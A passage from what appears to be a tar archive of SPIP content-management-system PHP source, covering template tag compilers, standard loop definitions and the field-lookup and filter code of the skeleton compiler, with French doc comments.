[(#BOUTON_ACTION{<:bouton_tenter_recuperation:>,#URL_ECRIRE{base_repair}})] * ] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_BOUTON_ACTION_dist($p) { $args = array(); for ($k = 1; $k <= 6; $k++) { $_a = interprete_argument_balise($k, $p); if (!$_a) { $_a = "''"; } $args[] = $_a; } // supprimer les args vides while (end($args) == "''" and count($args) > 2) { array_pop($args); } $args = implode(",", $args); $bouton_action = chercher_filtre("bouton_action"); $p->code = "$bouton_action($args)"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#SLOGAN_SITE_SPIP` qui retourne le slogan du site * * @balise * @example * ``` * [<p id="slogan">(#SLOGAN_SITE_SPIP)</p>] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_SLOGAN_SITE_SPIP_dist($p) { $p->code = "\$GLOBALS['meta']['slogan_site']"; #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#HTML5` indiquant si l'espace public peut utiliser du HTML5 * * Renvoie `' '` si le webmestre souhaite que SPIP génère du code (X)HTML5 sur * le site public, et `''` si le code doit être strictement compatible HTML4 * * @balise * @uses html5_permis() * @example * ``` * [(#HTML5) required="required"] * <input[ (#HTML5|?{type="email",type="text"})] ... /> * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_HTML5_dist($p) { $p->code = html5_permis() ? "' '" : "''"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#TRI` permettant d'afficher un lien de changement d'ordre de tri * d'une colonne de la boucle * * La balise `#TRI{champ[,libelle]}` champ prend `>` ou `<` pour afficher * le lien de changement de sens croissant ou decroissant (`>` `<` indiquent * un sens par une flèche) * * @balise * @example * ``` * <th>[(#TRI{titre,<:info_titre:>,ajax})]</th> * ``` * * @param Champ $p * Pile au niveau de la balise * @param string $liste * Inutilisé * @return Champ * Pile complétée par le code à générer */ function balise_TRI_dist($p, $liste = 'true') { $b = $p->nom_boucle ? $p->nom_boucle : $p->descr['id_mere']; // s'il n'y a pas de nom de boucle, on ne peut pas trier if ($b === '') { erreur_squelette( _T('zbug_champ_hors_boucle', array('champ' => '#TRI') ), $p->id_boucle); $p->code = "''"; return $p; } $boucle = $p->boucles[$b]; // s'il n'y a pas de tri_champ, c'est qu'on se trouve // dans un boucle recursive ou qu'on a oublie le critere {tri} if (!isset($boucle->modificateur['tri_champ'])) { erreur_squelette( _T('zbug_tri_sans_critere', array('champ' => '#TRI') ), $p->id_boucle); $p->code = "''"; return $p; } $_champ = interprete_argument_balise(1, $p); // si pas de champ, renvoyer le critere de tri utilise if (!$_champ) { $p->code = $boucle->modificateur['tri_champ']; return $p; } // forcer la jointure si besoin, et si le champ est statique if (preg_match(",^'([\w.]+)'$,i", $_champ, $m)) { index_pile($b, $m[1], $p->boucles, '', null, true, false); } $_libelle = interprete_argument_balise(2, $p); $_libelle = $_libelle ? $_libelle : $_champ; $_class = interprete_argument_balise(3, $p); // si champ = ">" c'est un lien vers le tri croissant : de gauche a droite ==> 1 // si champ = "<" c'est un lien vers le tri decroissant : (sens inverse) == -1 $_issens = "in_array($_champ,array('>','<'))"; $_sens = "(strpos('< >',$_champ)-1)"; $_variable = "((\$s=$_issens)?'sens':'tri')." . $boucle->modificateur['tri_nom']; $_url = "parametre_url(self(),$_variable,\$s?$_sens:$_champ)"; $_url = "parametre_url($_url,'var_memotri',strncmp(" . $boucle->modificateur['tri_nom'] . ",'session',7)==0?$_variable:'')"; $_on = "\$s?(" . $boucle->modificateur['tri_sens'] . "==$_sens" . '):(' . $boucle->modificateur['tri_champ'] . "==$_champ)"; $p->code = "lien_ou_expose($_url,$_libelle,$_on" . ($_class ? ",$_class" : "") . ")"; //$p->code = "''"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#SAUTER{n}` qui permet de sauter en avant n resultats dans une boucle * * La balise modifie le compteur courant de la boucle, mais pas les autres * champs qui restent les valeurs de la boucle avant le saut. Il est donc * preferable d'utiliser la balise juste avant la fermeture `</BOUCLE>` * * L'argument `n` doit être supérieur à zéro sinon la balise ne fait rien * * @balise * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_SAUTER_dist($p) { $id_boucle = $p->id_boucle; if (empty($p->boucles[$id_boucle])) { $msg = array('zbug_champ_hors_boucle', array('champ' => '#SAUTER')); erreur_squelette($msg, $p); } else { $boucle = $p->boucles[$id_boucle]; $_saut = interprete_argument_balise(1, $p); $_compteur = "\$Numrows['$id_boucle']['compteur_boucle']"; $_total = "\$Numrows['$id_boucle']['total']"; $p->code = "vide($_compteur=\$iter->skip($_saut,$_total))"; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#PUBLIE` qui indique si un objet est publié ou non * * @balise * @link http://www.spip.net/5545 * @see objet_test_si_publie() * @example * ``` * #PUBLIE : porte sur la boucle en cours * [(#PUBLIE{article, 3}|oui) ... ] : pour l'objet indiqué * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_PUBLIE_dist($p) { if (!$_type = interprete_argument_balise(1, $p)) { $_type = _q($p->type_requete); $_id = champ_sql($p->boucles[$p->id_boucle]->primary, $p); } else { $_id = interprete_argument_balise(2, $p); } $connect = ''; if (isset($p->boucles[$p->id_boucle])) { $connect = $p->boucles[$p->id_boucle]->sql_serveur; } $p->code = "(objet_test_si_publie(" . $_type . ",intval(" . $_id . ")," . _q($connect) . ")?' ':'')"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#PRODUIRE` qui génère un fichier statique à partir * d'un squelette SPIP * * Le format du fichier sera extrait de la pre-extension du squelette * (typo.css.html, messcripts.js.html) * ou par l'argument `format=css` ou `format=js` passé en argument. * * S'il n'y a pas de format détectable, on utilise `.html`, comme pour les squelettes. * * La syntaxe de la balise est la même que celle de `#INCLURE`. * * @balise * @see balise_INCLURE_dist() * @link http://www.spip.net/5505 * @example * ``` * <link rel="stylesheet" type="text/css" href="#PRODUIRE{fond=css/macss.css,couleur=ffffff}" /> * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_PRODUIRE_dist($p) { $balise_inclure = charger_fonction('INCLURE', 'balise'); $p = $balise_inclure($p); $p->code = str_replace('recuperer_fond(', 'produire_fond_statique(', $p->code); return $p; } /** * Compile la balise `#LARGEUR_ECRAN` qui définit la largeur d'écran * dans l'espace privé * * @balise * @example * ``` * #LARGEUR_ECRAN{pleine_largeur} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_LARGEUR_ECRAN_dist($p) { $_class = interprete_argument_balise(1, $p); if (!$_class) { $_class = 'null'; } $p->code = "(is_string($_class)?vide(\$GLOBALS['largeur_ecran']=$_class):(isset(\$GLOBALS['largeur_ecran'])?\$GLOBALS['largeur_ecran']:''))"; return $p; } /** * Compile la balise `#CONST` qui retourne la valeur de la constante passée en argument * * @balise * @example `#CONST{_DIR_IMG}` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_CONST_dist($p) { $_const = interprete_argument_balise(1, $p); if (!strlen($_const)) { $p->code = "''"; } else { $p->code = "(defined($_const)?constant($_const):'')"; } $p->interdire_scripts = false; return $p; } boucles.php000066600000006653152442520540006732 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Ce fichier definit les boucles standard de SPIP * * @package SPIP\Core\Compilateur\Boucles **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Compile une boucle standard, sans condition rajoutée * * @param string $id_boucle * Identifiant de la boucle * @param array $boucles * AST du squelette * @return string * Code PHP compilé de la boucle **/ function boucle_DEFAUT_dist($id_boucle, &$boucles) { return calculer_boucle($id_boucle, $boucles); } /** * Compile une boucle récursive * * `<BOUCLE(BOUCLE)>` * * @link http://www.spip.net/914 * * @param string $id_boucle * Identifiant de la boucle * @param array $boucles * AST du squelette * @return string * Code PHP compilé de la boucle **/ function boucle_BOUCLE_dist($id_boucle, &$boucles) { return calculer_boucle($id_boucle, $boucles); } /** * Compile une boucle HIERARCHIE * * La boucle `<BOUCLE(HIERARCHIE)>` retourne la liste des RUBRIQUES * qui mènent de la racine du site à la rubrique ou à l’article en cours. * * Cette boucle (aliasée sur la table RUBRIQUES) * * - recherche un id_rubrique dans les boucles parentes, * - extrait sa hiérarchie, en prenant ou non la rubrique en cours en fonction du critère {tout} * - crée une condition WHERE avec ces identifiants ansi qu'une clause ORDER * - compile la boucle. * * Le code compilé calculant la hierarchie est ajouté au tout début de la * fonction de boucle et quitte la boucle si aucune rubrique n'est trouvée. * * @link http://www.spip.net/913 * * @param string $id_boucle * Identifiant de la boucle * @param array $boucles * AST du squelette * @return string * Code PHP compilé de la boucle **/ function boucle_HIERARCHIE_dist($id_boucle, &$boucles) { $boucle = &$boucles[$id_boucle]; $id_table = $boucle->id_table . ".id_rubrique"; // Si la boucle mere est une boucle RUBRIQUES il faut ignorer la feuille // sauf en presence du critere {tout} (vu par phraser_html) // ou {id_article} qui positionne aussi le {tout} $boucle->hierarchie = 'if (!($id_rubrique = intval(' . calculer_argument_precedent($boucle->id_boucle, 'id_rubrique', $boucles) . ")))\n\t\treturn '';\n\t" . "include_spip('inc/rubriques');\n\t" . '$hierarchie = calcul_hierarchie_in($id_rubrique,' . (isset($boucle->modificateur['tout']) ? 'true' : 'false') . ");\n\t" . 'if (!$hierarchie) return "";' . "\n\t"; $boucle->where[] = array("'IN'", "'$id_table'", '"($hierarchie)"'); $order = "FIELD($id_table, \$hierarchie)"; if (!isset($boucle->default_order[0]) or $boucle->default_order[0] != " DESC") { $boucle->default_order[] = "\"$order\""; } else { $boucle->default_order[0] = "\"$order DESC\""; } return calculer_boucle($id_boucle, $boucles); } references.php000066600000071250152442520540007412 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Fonctions de recherche et de reservation dans l'arborescence des boucles * * @package SPIP\Core\Compilateur\References **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Retrouver l'index de la boucle d'une balise * * Retrouve à quelle boucle appartient une balise, utile dans le cas * où une référence explicite est demandée * * - `#MABALISE` : l'index est celui de la première boucle englobante * - `#_autreboucle:MABALISE` : l'index est celui de la boucle _autreboucle si elle est bien englobante * * @example * Dans une balise dynamique ou calculée : * ``` * $idb = index_boucle($p); * ``` * * @param Champ $p AST au niveau de la balise * @return string * * - Identifiant de la boucle possédant ce champ. * - '' si une référence explicite incorrecte est envoyée */ function index_boucle($p) { $idb = $p->id_boucle; $explicite = $p->nom_boucle; if (strlen($explicite)) { // Recherche d'un champ dans un etage superieur while (($idb !== $explicite) && ($idb !== '')) { $idb = $p->boucles[$idb]->id_parent; } } return $idb; } /** * Retourne la position dans la pile d'un champ SQL * * Retourne le code PHP permettant de récupérer un champ SQL dans * une boucle parente, en prenant la boucle la plus proche du sommet de pile * (indiqué par $idb). * * Si on ne trouve rien, on considère que ça doit provenir du contexte * (par l'URL ou l'include) qui a été recopié dans Pile[0] * (un essai d'affinage a débouché sur un bug vicieux) * * Si ca référence un champ SQL, on le mémorise dans la structure $boucles * afin de construire un requête SQL minimale (plutôt qu'un brutal 'SELECT *') * * @param string $idb Identifiant de la boucle * @param string $nom_champ Nom du champ SQL cherché * @param array $boucles AST du squelette * @param string $explicite * Indique que le nom de la boucle est explicite dans la balise #_nomboucletruc:CHAMP * @param null|string $defaut * Code par defaut si le champ n'est pas trouvé dans l'index. * Utilise @$Pile[0][$nom_champ] si non fourni * @param bool $remonte_pile * Permettre de remonter la pile des boucles ou non (dans ce cas on * ne cherche que danss la 1ère boucle englobante) * @param bool $select * Pour ajouter au select de la boucle, par defaut true * @return string * Code PHP pour obtenir le champ SQL */ function index_pile( $idb, $nom_champ, &$boucles, $explicite = '', $defaut = null, $remonte_pile = true, $select = true ) { if (!is_string($defaut)) { $defaut = '@$Pile[0][\'' . strtolower($nom_champ) . '\']'; } $i = 0; if (strlen($explicite)) { // Recherche d'un champ dans un etage superieur while (($idb !== $explicite) && ($idb !== '')) { # spip_log("Cherchexpl: $nom_champ '$explicite' '$idb' '$i'"); $i++; $idb = $boucles[$idb]->id_parent; } } # spip_log("Cherche: $nom_champ a partir de '$idb'"); $nom_champ = strtolower($nom_champ); $conditionnel = array(); // attention: entre la boucle nommee 0, "" et le tableau vide, // il y a incoherences qu'il vaut mieux eviter while (isset($boucles[$idb])) { $joker = true; // modifie $joker si tous les champs sont autorisés. // $t = le select pour le champ, si on l'a trouvé (ou si joker) // $c = le nom du champ demandé list($t, $c) = index_tables_en_pile($idb, $nom_champ, $boucles, $joker); if ($t) { if ($select and !in_array($t, $boucles[$idb]->select)) { $boucles[$idb]->select[] = $t; } $champ = '$Pile[$SP' . ($i ? "-$i" : "") . '][\'' . $c . '\']'; if (!$joker) { return index_compose($conditionnel, $champ); } // tant que l'on trouve des tables avec joker, on continue // avec la boucle parente et on conditionne à l'exécution // la présence du champ. Si le champ existe à l'exécution // dans une boucle, il est pris, sinon on le cherche dans le parent... $conditionnel[] = "isset($champ)?$champ"; } if ($remonte_pile) { # spip_log("On remonte vers $i"); // Sinon on remonte d'un cran $idb = $boucles[$idb]->id_parent; $i++; } else { $idb = null; } } # spip_log("Pas vu $nom_champ"); // esperons qu'il y sera // ou qu'on a fourni une valeur par "defaut" plus pertinent return index_compose($conditionnel, $defaut); } /** * Reconstuire la cascade de condition de recherche d'un champ * * On ajoute la valeur finale par défaut pour les balises dont on ne saura * qu'à l'exécution si elles sont definies ou non (boucle DATA) * * @param array $conditionnel Liste de codes PHP pour retrouver un champ * @param string $defaut Valeur par défaut si aucun des moyens ne l'a trouvé * @return string Code PHP complet de recherche d'un champ */ function index_compose($conditionnel, $defaut) { while ($c = array_pop($conditionnel)) { // si on passe defaut = '', ne pas générer d'erreur de compilation. $defaut = "($c:(" . ($defaut ? $defaut : "''") . "))"; } return $defaut; } /** * Cherche un champ dans une boucle * * Le champ peut être : * * - un alias d'un autre : il faut alors le calculer, éventuellement en * construisant une jointure. * - présent dans la table : on l'utilise * - absent, mais le type de boucle l'autorise (joker des itérateurs DATA) : * on l'utilise et lève le drapeau joker * - absent, on cherche une jointure et on l'utilise si on en trouve. * * @todo * Ici la recherche de jointure sur l'absence d'un champ ne cherche * une jointure que si des jointures explicites sont demandées, * et non comme à d'autres endroits sur toutes les jointures possibles. * Il faut homogénéiser cela. * * * @param string $idb Identifiant de la boucle * @param string $nom_champ Nom du champ SQL cherché * @param Boucle $boucles AST du squelette * @param bool $joker * Le champ peut-il être inconnu à la compilation ? * Ce drapeau sera levé si c'est le cas. * @return array * Liste (Nom du champ véritable, nom du champ demandé). * Le nom du champ véritable est une expression pour le SELECT de * la boucle tel que "rubriques.titre" ou "mots.titre AS titre_mot". * Les éléments de la liste sont vides si on ne trouve rien. **/ function index_tables_en_pile($idb, $nom_champ, &$boucles, &$joker) { $r = $boucles[$idb]->type_requete; // boucle recursive, c'est foutu... if ($r == TYPE_RECURSIF) { return array(); } if (!$r) { $joker = false; // indiquer a l'appelant # continuer pour chercher l'erreur suivante return array("'#" . $r . ':' . $nom_champ . "'", ''); } $desc = $boucles[$idb]->show; // le nom du champ est il une exception de la table ? un alias ? $excep = isset($GLOBALS['exceptions_des_tables'][$r]) ? $GLOBALS['exceptions_des_tables'][$r] : ''; if ($excep) { $excep = isset($excep[$nom_champ]) ? $excep[$nom_champ] : ''; } if ($excep) { $joker = false; // indiquer a l'appelant return index_exception($boucles[$idb], $desc, $nom_champ, $excep); } // pas d'alias. Le champ existe t'il ? else { // le champ est réellement présent, on le prend. if (isset($desc['field'][$nom_champ])) { $t = $boucles[$idb]->id_table; $joker = false; // indiquer a l'appelant return array("$t.$nom_champ", $nom_champ); } // Tous les champs sont-ils acceptés ? // Si oui, on retourne le champ, et on lève le flag joker // C'est le cas des itérateurs DATA qui acceptent tout // et testent la présence du champ à l'exécution et non à la compilation // car ils ne connaissent pas ici leurs contenus. elseif (/*$joker AND */ isset($desc['field']['*']) ) { $joker = true; // indiquer a l'appelant return array($nom_champ, $nom_champ); } // pas d'alias, pas de champ, pas de joker... // tenter via une jointure... else { $joker = false; // indiquer a l'appelant // regarder si le champ est deja dans une jointure existante // sinon, si il y a des joitures explicites, la construire if (!$t = trouver_champ_exterieur($nom_champ, $boucles[$idb]->from, $boucles[$idb])) { if ($boucles[$idb]->jointures_explicites) { // [todo] Ne pas lancer que lorsque il y a des jointures explicites !!!! // fonctionnel, il suffit d'utiliser $boucles[$idb]->jointures au lieu de jointures_explicites // mais est-ce ce qu'on veut ? $jointures = preg_split("/\s+/", $boucles[$idb]->jointures_explicites); if ($cle = trouver_jointure_champ($nom_champ, $boucles[$idb], $jointures)) { $t = trouver_champ_exterieur($nom_champ, $boucles[$idb]->from, $boucles[$idb]); } } } if ($t) { // si on a trouvé une jointure possible, on fait comme // si c'était une exception pour le champ demandé return index_exception($boucles[$idb], $desc, $nom_champ, array($t[1]['id_table'], reset($t[2]))); } return array('', ''); } } } /** * Retrouve un alias d'un champ dans une boucle * * Référence à une entite SPIP alias d'un champ SQL. * Ça peut même être d'un champ dans une jointure qu'il faut provoquer * si ce n'est fait * * @param Boucle $boucle Boucle dont on prend un alias de champ * @param array $desc Description de la table SQL de la boucle * @param string $nom_champ Nom du champ original demandé * @param array $excep * Description de l'exception pour ce champ. Peut être : * * - string : nom du champ véritable dans la table * - array : * - liste (table, champ) indique que le véritable champ * est dans une autre table et construit la jointure dessus * - liste (table, champ, fonction) idem, mais en passant un * nom de fonction qui s'occupera de créer la jointure. * @return array * Liste (nom du champ alias, nom du champ). Le nom du champ alias * est une expression pour le SELECT de la boucle du style "mots.titre AS titre_mot" **/ function index_exception(&$boucle, $desc, $nom_champ, $excep) { static $trouver_table; if (!$trouver_table) { $trouver_table = charger_fonction('trouver_table', 'base'); } if (is_array($excep)) { // permettre aux plugins de gerer eux meme des jointures derogatoire ingerables $t = null; if (count($excep) == 3) { $index_exception_derogatoire = array_pop($excep); $t = $index_exception_derogatoire($boucle, $desc, $nom_champ, $excep); } if ($t == null) { list($e, $x) = $excep; #PHP4 affecte de gauche a droite $excep = $x; #PHP5 de droite a gauche ! $j = $trouver_table($e, $boucle->sql_serveur); if (!$j) { return array('', ''); } $e = $j['table']; if (!$t = array_search($e, $boucle->from)) { $k = $j['key']['PRIMARY KEY']; if (strpos($k, ',')) { $l = (preg_split('/\s*,\s*/', $k)); $k = $desc['key']['PRIMARY KEY']; if (!in_array($k, $l)) { spip_log("jointure impossible $e " . join(',', $l)); return array('', ''); } } $k = array($boucle->id_table, array($e), $k); fabrique_jointures($boucle, array($k)); $t = array_search($e, $boucle->from); } } } else { $t = $boucle->id_table; } // demander a SQL de gerer le synonyme // ca permet que excep soit dynamique (Cedric, 2/3/06) if ($excep != $nom_champ) { $excep .= ' AS ' . $nom_champ; } return array("$t.$excep", $nom_champ); } /** * Demande le champ '$champ' dans la pile * * Le champ est cherché dans l'empilement de boucles, sinon dans la valeur * par défaut (qui est l'environnement du squelette si on ne la précise pas). * * @api * @param string $champ * Champ recherché * @param Champ $p * AST au niveau de la balise * @param null|string $defaut * Code de la valeur par défaut si on ne trouve pas le champ dans une * des boucles parentes. Sans précision, il sera pris dans l'environnement * du squelette. * Passer $defaut = '' pour ne pas prendre l'environnement. * @param bool $remonte_pile * Permettre de remonter dans la pile des boucles pour trouver le champ * @return string * Code PHP pour retrouver le champ */ function champ_sql($champ, $p, $defaut = null, $remonte_pile = true) { return index_pile($p->id_boucle, $champ, $p->boucles, $p->nom_boucle, $defaut, $remonte_pile); } /** * Calcule et retourne le code PHP d'exécution d'une balise SPIP et des ses filtres * * Cette fonction qui sert d'API au compilateur demande à calculer * le code PHP d'une balise, puis lui applique les filtres (automatiques * et décrits dans le squelette) * * @uses calculer_balise() * @uses applique_filtres() * * @param Champ $p * AST au niveau de la balise * @return string * Code PHP pour d'exécution de la balise et de ses filtres **/ function calculer_champ($p) { $p = calculer_balise($p->nom_champ, $p); return applique_filtres($p); } /** * Calcule et retourne le code PHP d'exécution d'une balise SPIP * * Cette fonction qui sert d'API au compilateur demande à calculer * le code PHP d'une balise (cette fonction ne calcule pas les éventuels * filtres de la balise). * * Pour une balise nommmée `NOM`, elle demande à `charger_fonction()` de chercher * s'il existe une fonction `balise_NOM` ou `balise_NOM_dist` * éventuellement en chargeant le fichier `balise/NOM.php.` * * Si la balise est de la forme `PREFIXE_SUFFIXE` (cf `LOGO_*` et `URL_*`) * elle fait de même avec juste le `PREFIXE`. * * S'il n'y a pas de fonction trouvée, on considère la balise comme une référence * à une colonne de table SQL connue, sinon à l'environnement (cf. `calculer_balise_DEFAUT_dist()`). * * Les surcharges des colonnes SQL via charger_fonction sont donc possibles. * * @uses calculer_balise_DEFAUT_dist() * Lorsqu'aucune fonction spécifique n'est trouvée. * @see charger_fonction() * Pour la recherche des fonctions de balises * * @param string $nom * Nom de la balise * @param Champ $p * AST au niveau de la balise * @return Champ * Pile complétée par le code PHP pour l'exécution de la balise et de ses filtres **/ function calculer_balise($nom, $p) { // S'agit-t-il d'une balise_XXXX[_dist]() ? if ($f = charger_fonction($nom, 'balise', true)) { $p->balise_calculee = true; $res = $f($p); if ($res !== null and is_object($res)) { return $res; } } // Certaines des balises comportant un _ sont generiques if ($f = strpos($nom, '_') and $f = charger_fonction(substr($nom, 0, $f + 1), 'balise', true) ) { $res = $f($p); if ($res !== null and is_object($res)) { return $res; } } $f = charger_fonction('DEFAUT', 'calculer_balise'); return $f($nom, $p); } /** * Calcule et retourne le code PHP d'exécution d'une balise SPIP non déclarée * * Cette fonction demande à calculer le code PHP d'une balise qui * n'a pas de fonction spécifique. * * On considère la balise comme une référence à une colonne de table SQL * connue, sinon à l'environnement. * * @uses index_pile() * Pour la recherche de la balise comme colonne SQL ou comme environnement * @note * Le texte de la balise est retourné si il ressemble à une couleur * et qu'aucun champ correspondant n'a été trouvé, comme `#CCAABB` * * @param string $nom * Nom de la balise * @param Champ $p * AST au niveau de la balise * @return string * Code PHP pour d'exécution de la balise et de ses filtres **/ function calculer_balise_DEFAUT_dist($nom, $p) { // ca pourrait etre un champ SQL homonyme, $p->code = index_pile($p->id_boucle, $nom, $p->boucles, $p->nom_boucle); // compatibilite: depuis qu'on accepte #BALISE{ses_args} sans [(...)] autour // il faut recracher {...} quand ce n'est finalement pas des args if ($p->fonctions and (!$p->fonctions[0][0]) and $p->fonctions[0][1]) { $code = addslashes($p->fonctions[0][1]); $p->code .= " . '$code'"; } // ne pas passer le filtre securite sur les id_xxx if (strpos($nom, 'ID_') === 0) { $p->interdire_scripts = false; } // Compatibilite ascendante avec les couleurs html (#FEFEFE) : // SI le champ SQL n'est pas trouve // ET si la balise a une forme de couleur // ET s'il n'y a ni filtre ni etoile // ALORS retourner la couleur. // Ca permet si l'on veut vraiment de recuperer [(#ACCEDE*)] if (preg_match("/^[A-F]{1,6}$/i", $nom) and !$p->etoile and !$p->fonctions ) { $p->code = "'#$nom'"; $p->interdire_scripts = false; } return $p; } /** Code PHP d'exécution d'une balise dynamique */ define('CODE_EXECUTER_BALISE', "executer_balise_dynamique('%s', array(%s%s), array(%s%s))"); /** * Calcule le code PHP d'exécution d'une balise SPIP dynamique * * Calcule les balises dynamiques, notamment les `formulaire_*`. * * Inclut le fichier associé à son nom, qui contient la fonction homonyme * donnant les arguments à chercher dans la pile, et qui sont donc compilés. * * On leur adjoint les arguments explicites de la balise (cf `#LOGIN{url}`) * et d'éventuelles valeurs transmises d'autorité par la balise. * (cf http://core.spip.net/issues/1728) * * La fonction `executer_balise_dynamique()` définie par la * constante `CODE_EXECUTER_BALISE` recevra à l'exécution la valeur de tout ca. * * @uses collecter_balise_dynamique() * Qui calcule le code d'exécution de chaque argument de la balise * @see executer_balise_dynamique() * Code PHP produit qui chargera les fonctions de la balise dynamique à l'exécution, * appelée avec les arguments calculés. * @param Champ $p * AST au niveau de la balise * @param string $nom * Nom de la balise dynamique * @param array $l * Liste des noms d'arguments (balises) à collecter * @param array $supp * Liste de données supplémentaires à transmettre au code d'exécution. * @return Champ * Balise complétée de son code d'exécution **/ function calculer_balise_dynamique($p, $nom, $l, $supp = array()) { if (!balise_distante_interdite($p)) { $p->code = "''"; return $p; } // compatibilite: depuis qu'on accepte #BALISE{ses_args} sans [(...)] autour // il faut recracher {...} quand ce n'est finalement pas des args if ($p->fonctions and (!$p->fonctions[0][0]) and $p->fonctions[0][1]) { $p->fonctions = null; } if ($p->param and ($c = $p->param[0])) { // liste d'arguments commence toujours par la chaine vide array_shift($c); // construire la liste d'arguments comme pour un filtre $param = compose_filtres_args($p, $c, ','); } else { $param = ""; } $collecte = collecter_balise_dynamique($l, $p, $nom); $p->code = sprintf(CODE_EXECUTER_BALISE, $nom, join(',', $collecte), ($collecte ? $param : substr($param, 1)), # virer la virgule memoriser_contexte_compil($p), (!$supp ? '' : (', ' . join(',', $supp)))); $p->interdire_scripts = false; return $p; } /** * Construction du tableau des arguments d'une balise dynamique. * * Pour chaque argument (un nom de balise), crée le code PHP qui le calculera. * * @note * Ces arguments peuvent être eux-même des balises (cf FORMULAIRE_SIGNATURE) * mais gare au bouclage (on peut s'aider de `$nom` pour le réperer au besoin) * * En revanche ils n'ont pas de filtres, donc on appelle `calculer_balise()` qui * ne s'occupe pas de ce qu'il y a dans `$p` (mais qui va y ecrire le code) * * @uses calculer_balise() * Pour obtenir le code d'éxécution de chaque argument. * * @param array $l * Liste des noms d'arguments (balises) à collecter (chaque argument * de la balise dynamique est considéré comme étant un nom de balise) * @param Champ $p * AST au niveau de la balise * @param string $nom * Nom de la balise * @return array * Liste des codes PHP d'éxecution des balises collectées **/ function collecter_balise_dynamique($l, &$p, $nom) { $args = array(); foreach ($l as $c) { $x = calculer_balise($c, $p); $args[] = $x->code; } return $args; } /** * Récuperer le nom du serveur * * Mais pas si c'est un serveur spécifique dérogatoire * * @param Champ $p * AST positionné sur la balise * @return string * Nom de la connexion **/ function trouver_nom_serveur_distant($p) { $nom = $p->id_boucle; if ($nom and isset($p->boucles[$nom]) ) { $s = $p->boucles[$nom]->sql_serveur; if (strlen($s) and strlen($serveur = strtolower($s)) and !in_array($serveur, $GLOBALS['exception_des_connect']) ) { return $serveur; } } return ""; } /** * Teste si une balise est appliquée sur une base distante * * La fonction loge une erreur si la balise est utilisée sur une * base distante et retourne false dans ce cas. * * @note * Il faudrait savoir traiter les formulaires en local * tout en appelant le serveur SQL distant. * En attendant, cette fonction permet de refuser une authentification * sur quelque-chose qui n'a rien a voir. * * @param Champ $p * AST positionné sur la balise * @return bool * * - true : La balise est autorisée * - false : La balise est interdite car le serveur est distant **/ function balise_distante_interdite($p) { $nom = $p->id_boucle; if ($nom and trouver_nom_serveur_distant($p)) { spip_log($nom . ':' . $p->nom_champ . ' ' . _T('zbug_distant_interdit')); return false; } return true; } // // Traitements standard de divers champs // definis par $table_des_traitements, cf. ecrire/public/interfaces // // http://code.spip.net/@champs_traitements function champs_traitements($p) { if (isset($GLOBALS['table_des_traitements'][$p->nom_champ])) { $ps = $GLOBALS['table_des_traitements'][$p->nom_champ]; } else { // quand on utilise un traitement catch-all * // celui-ci ne s'applique pas sur les balises calculees qui peuvent gerer // leur propre securite if (!$p->balise_calculee) { $ps = $GLOBALS['table_des_traitements']['*']; } else { $ps = false; } } if (is_array($ps)) { // Recuperer le type de boucle (articles, DATA) et la table SQL sur laquelle elle porte $idb = index_boucle($p); // mais on peut aussi etre hors boucle. Se mefier. $type_requete = isset($p->boucles[$idb]->type_requete) ? $p->boucles[$idb]->type_requete : false; $table_sql = isset($p->boucles[$idb]->show['table_sql']) ? $p->boucles[$idb]->show['table_sql'] : false; // le traitement peut n'etre defini que pour une table en particulier "spip_articles" if ($table_sql and isset($ps[$table_sql])) { $ps = $ps[$table_sql]; } // ou pour une boucle en particulier "DATA","articles" elseif ($type_requete and isset($ps[$type_requete])) { $ps = $ps[$type_requete]; } // ou pour indiferrement quelle que soit la boucle elseif (isset($ps[0])) { $ps = $ps[0]; } else { $ps = false; } } if (!$ps) { return $p->code; } // Si une boucle DOCUMENTS{doublons} est presente dans le squelette, // ou si in INCLURE contient {doublons} // on insere une fonction de remplissage du tableau des doublons // dans les filtres propre() ou typo() // (qui traitent les raccourcis <docXX> referencant les docs) if (isset($p->descr['documents']) and $p->descr['documents'] and ( (strpos($ps, 'propre') !== false) or (strpos($ps, 'typo') !== false) ) ) { $ps = 'traiter_doublons_documents($doublons, ' . $ps . ')'; } // La protection des champs par |safehtml est assuree par les extensions // dans la declaration des traitements des champs sensibles // Remplacer enfin le placeholder %s par le vrai code de la balise return str_replace('%s', $p->code, $ps); } // // Appliquer les filtres a un champ [(#CHAMP|filtre1|filtre2)] // retourne un code php compile exprimant ce champ filtre et securise // - une etoile => pas de processeurs standards // - deux etoiles => pas de securite non plus ! // // http://code.spip.net/@applique_filtres function applique_filtres($p) { // Traitements standards (cf. supra) if ($p->etoile == '') { $code = champs_traitements($p); } else { $code = $p->code; } // Appliquer les filtres perso if ($p->param) { $code = compose_filtres($p, $code); } // S'il y a un lien avec la session, 